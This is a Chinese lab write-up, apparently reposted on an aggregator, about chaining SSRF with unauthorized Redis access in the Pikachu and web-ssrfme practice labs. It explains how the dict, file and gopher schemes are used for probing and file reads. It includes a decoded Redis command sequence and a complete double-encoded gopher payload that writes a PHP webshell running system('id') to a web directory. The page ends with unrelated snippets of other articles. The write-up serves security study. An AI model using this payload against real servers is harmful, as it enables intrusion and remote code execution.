SSRF漏洞与redis未授权访问的共同利用

news2024/9/25 17:19:04

1.利用靶场Pikachu来认识SSRF漏洞

        1.什么是SSRF

            SSRF漏洞允许攻击者通过向服务器发起请求来伪造请求。这种漏洞的核心在于攻击者能够控制服务器向任意目标地址发起请求,而这些请求通常是攻击者无法直接从客户端发起的。

简单来说,假设你的网站有一个功能,它允许用户输入一个网址,并从该网址获取信息。这时候,如果网站的服务器没有足够的安全控制,攻击者可能会通过提交特定的地址,诱使服务器去访问攻击者指定的内部或外部资源。

如图,本来靶场是访问他自己指定的资源的这一首诗,当我把后面的请求网址改成百度以后,靶场就访问到了百度

这样看SSRF好像也没有什么大危害,接下来,认识几个curl支持的协议,这些协议可以帮助SSRF更好的完成你想要的入侵

2.curl协议

        1.dict协议(http协议作用一样,可以探测服务端口)

                本来是一种字典协议,用得特别少,但是他可以读取MySQL的部分返回内容,这就有点用处了,当我用这个协议访问开启的端口的时候,会有返回值,但是访问其他端口时没有返回值,这就可以让我知道他的一些特定端口开了没有,有没有这个服务,比如mysql:3306,redis:6379

        2.file协议

                可以读取文件

                这里还能读取到MySQL的账号密码,如果开启了远程连接,可以直接登上去,但是这个MySQL的连接文件路径要猜,不然获取不了

          3.gopher协议

        Gopher 协议是一种早期的互联网协议,主要用于创建和访问层次化的信息目录。某些服务在处理请求时未正确过滤或处理 Gopher 协议,导致它们可以通过 Gopher 协议访问内部服务或敏感数据。

        1.可以用gopherus工具来生成payload

1.选项里面的Reverseshell是我们后面的写任务计划要的反弹shell,在这里我们选PHPshell是要写入进去shell

2.选项是要选择网站的物理路径,这一般是默认的值,要么就要你猜了

3.写入你想要的webshell(<?php phpinfo();?>)

4.生成了一个url编码过后的地址

解码可以看到是这样的

2.redis的写入的命令格式

gopher://127.0.0.1:6379/_*1
$8                              $表示接下来的字符长度是8
flushall                        删除 Redis 数据库中的所有数据,避免干扰
*3                              *3表示接下来是有三个元素的数组
$3                              第一个元素的长度是3
set                             第一个元素
$1                              第二个元素长度是1
1                               第二个元素
$22                             第三个元素的长度是22


<?php phpinfo();?>              第三个元素


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

完整的取出来是这样几条命令

  1. flushall:清除 Redis 中所有的键值对,数据库为空。
  2. set 1 <?php phpinfo();?>:key 1 被设置为 <?php phpinfo();?>
  3. config set dir /var/www/html:Redis 数据目录设置为 /var/www/html
  4. config set dbfilename shell.php:Redis 数据文件名设置为 shell.php
  5. save:将当前 Redis 数据库保存到磁盘

3.了解了上面的东西,利用ssrfme靶场结合redis的未授权访问可以干的事

        靶场是web-ssrfme

因为过滤了file和dict所以就无法用上面的方法,但是用http协议进行bp爆破,除了80 端口,就没有其他的端口了

根据这个代码,输入一个info,得到了phpinfo界面

在phpinfo里面找到一个可能是内网的IP,猜测还有其他的服务器,发现172.18.0.2:80,有可能也是一台web服务器,因为他有不同的静态页面GO away1

看能不能利用http协议把这台服务器开放的服务用bp给爆破出来

可以看出这台服务器的6379端口是开着的

        尝试了直接用gopherus工具用默认的路径来攻击,无法写入shell,就算把gopherus生成的payload进行二次url编码也没有用。

        正常的入侵要用字典去爆破除了html的其他目录,这里我就用上帝视角知道html下面还有一个upload目录

        

        1.写入webshell

      gopherus生成的payload

        发现还是要二次编码才可以成功

二次编码

gopher://172.18.0.2:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252426%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527id%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2077668.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代谢组数据分析(十九):随机森林构建代谢组预后模型

介绍 建立胃癌(GC)预后模型时,从队列3中的181名患者中,使用右删失结果数据进行了随机分层抽样,分为训练数据集(n = 121)和测试数据集(n = 60)。训练了一个包含1000棵树的随机生存森林(RSF)模型,根据它们基于排列的特征重要性来选择突出的特征。通过再次训练随机生…

探索c++中的类型转化

文章目录 相关引入c中的转化机制const_castreinterpret_caststatic_castdynamic_cast 其他 相关引入 C语言中的类型转换: 有相关性的类型之间才能转换: 非相关性不能转换: c中的转化机制 const_cast 去掉常量属性 指针相同, 值不相同, 本质是编译器对这个常属性的a做了…

关键点检测——HRNet原理详解篇

&#x1f34a;作者简介&#xff1a;秃头小苏&#xff0c;致力于用最通俗的语言描述问题 &#x1f34a;专栏推荐&#xff1a;深度学习网络原理与实战 &#x1f34a;近期目标&#xff1a;写好专栏的每一篇文章 &#x1f34a;支持小苏&#xff1a;点赞&#x1f44d;&#x1f3fc;、…

pycharm2024.1.1配置已有的pytorch环境

在pycharm中也可以创建jupyter notebook. 本人最近尝试了2024.2.0.1和2024.1.1&#xff0c;这两种的配置方式略有不同。本文介绍2024.1.1版本的配置方法 新建一个项目 注意这里选择自定义环境和选择现有&#xff0c;并类型是conda 路径选择 这里的路径是我安装的conda目录的S…

甄选范文“NoSQL数据库技术及其应用”,软考高级论文,系统架构设计师论文

论文真题 随着互联网web2.0网站的兴起,传统关系数据库在应对web2.0 网站,特别是超大规模和高并发的web2.0纯动态SNS网站上已经显得力不从心,暴露了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。 NoSQL(Not only SQL )的产生就是为了解…

【STM32】RTT-Studio中HAL库开发教程六:IIC通信--GZP6877D气压传感器

文章目录 一、简介二、寄存器操作三、硬件IIC通信四、模拟IIC通信五、测试验证 一、简介 GZP6877D 型压力传感器采用 SOP6 封装形式&#xff0c;倒钩管的设计可以保证安装的密封性。内有封装的压力传感器与信号调理芯片&#xff0c;对传感器的偏移、灵敏度、温漂和非线性进行数…

(二十)Flink Paimon

数据湖、湖仓一体是当前大数据领域技术发展的重要趋势。近几年开源数据湖技术如 Apache Hudi、Apache Iceberg、Apache Paimon、DeltaLake 等不断涌现,基于湖仓一体架构的统一元数据管理、数据治理也越来越受到关注。从传统数仓到数据湖、湖仓一体架构,从流批一体计算到基于数…

【内网渗透】最保姆级的春秋云镜Brute4Road打靶笔记

目录 ①fcan扫外网&#xff0c;redis主从复制拿shell&#xff0c;suid提权 ②wget下载frp&#xff0c;内网穿透&#xff0c;fscan扫内网 ③wpscan扫wordpress RCE写webshell ④配置文件泄露&#xff0c;连数据库读敏感信息 ⑤fscan爆破MSSQLSERVER密码&#xff0c;MDUT连接…

MyBatis 通用 Mapper5 来了

通用 Mapper 是一个发布于 2014 年的开源项目&#xff0c;是第一个在 MyBatis 中实现了通用 DAO 的开源框架&#xff0c;发布距今接近 10 年&#xff0c;仍然有一部分开发者在使用&#xff0c;项目仍然在维护&#xff0c;主要通过开发者提交 PR 来进行维护。 基于 JDK 17 Jaka…

【Linux】05.Linux 下的编辑器——vim

vim是一个多模式的编辑器。 一、vim的模式 我们主要介绍 vim 的三种模式&#xff0c;分别是命令模式、插入模式和底行模式&#xff0c;各模式的功能区分如下&#xff1a; 命令模式&#xff08;Normal mode&#xff09; 控制屏幕光标的移动&#xff0c;字符、字或行的删除&am…

NOsql数据库Redis

关系型数据库和 NoSQL 数据库 Redis的源码安装 编译 vim /etc/redis/6379.conf bind改成* -::* 关闭protected模式 Redis 主从复制 主从同步过程 环境配置 redis-node1 master redis-node2 slave1 redis-node3 slave2 slave中配置 vim /etc/redis/6379.conf master中操…

设计模式25-访问器模式

设计模式25-访问器模式 访问者模式的动机定义与结构定义结构访问者模式概述结构图解析总结 C代码推导原理代码实例代码 优缺点应用总结 访问者模式的动机 在软件构建过程中&#xff0c;由于需求的改变&#xff0c;某些类层次结构中常常需要增加新的行为方法。此时如果直接在基…

169页PPT丨城投公司战略规划之产业投资商规划

一、规划背景与目标随着经济的不断发展和市场环境的变化&#xff0c;麦肯新城投公司致力于从传统的城市建设主体向产业投资商转型&#xff0c;以实现可持续发展和提升区域经济活力。 目标&#xff1a;在未来5年内&#xff0c;成为具有核心竞争力和广泛影响力的产业投资商&…

Hadoop: Mapreduce了解

目录 1.MapReduce概述 2.MapReduce的基本工作原理 2.1.Map阶段 2.1.1.Map源码解析 2.1.2.map端代码总结 2.2.Shuffle and Sort阶段 2.3.Reduce阶段 2.3.1.Reduce源码解析 2.3.2.Reduce端源码总结 3.数据流与任务执行 3.1.数据输入与输出格式 3.1.1.TextInputFormat…

【公共科目】简单概率问题

问&#xff1a;在人寿保险事业中&#xff0c;很重视某一年龄段的投保人的死亡率&#xff0c;计入每个投保人能活到65的概率为0.6&#xff0c;问3个投保人中有2个人活到65岁的概率是多少? A 0.126 B 0.388 C 0.432【正确答案】 D 0.534 首先看到这道题&#xff0c;很感慨能活到…

redis分布式是如何实现的(面试版)

需要结合项目中的业务进行回答&#xff0c;通常情况下&#xff0c;分布式锁使用的场景&#xff1a; 集群情况下的定时任务、抢单、幂等性场景。 下面先来看一个抢卷场景&#xff1a; 以下情况会出现超卖情况&#xff1a; 因为线程会交替执行&#xff0c;所以线程查询优惠价的…

学习C语言(18)

整理今天的学习内容 1.strcmp的使用和模拟实现 strcmp是用来比较字符串的大小的 比较方式&#xff1a;比较两个字符串中对应位置上字符ASCII码值的⼤小 第⼀个字符串大于第二个字符串&#xff0c;则返回⼤于0的数字 第⼀个字符串等于第二个字符串&#xff0c;则返回0 第⼀…

Mac M1 Max配置torch-geometric等深度学习库

前提&#xff1a;此电脑中已经安装好了Anaconda环境 &#xff08;一&#xff09;查看创建的虚拟环境中torch的版本 import torch torch.__version__&#xff08;二&#xff09;针对安装的 torch 版本&#xff0c;去官网下载torch-geometric 依赖的对应版本 torch-sparse、tor…

OpenMax算法详解:深度学习中的高效开集识别技术

OpenMax算法详解&#xff1a;深度学习中的高效开集识别技术 在深度学习领域&#xff0c;模型的识别能力往往受限于其训练数据集的范畴。传统的分类模型&#xff0c;如卷积神经网络&#xff08;CNN&#xff09;或循环神经网络&#xff08;RNN&#xff09;&#xff0c;通常被设计…

《大道平渊》· 拾捌 —— 证明自己,本身就毫无意义。

《大道平渊》 我在任何时候都会保持最轻松的状态&#xff0c;选择最舒适的态度和动作。 我在与人交谈时&#xff0c;无论何时何地&#xff0c;都会像在家里躺着和挚友交谈一样轻松。 我总是悠然自若&#xff0c;因为我深知自己的过度表现&#xff0c;只会给人留下怪异的印象。…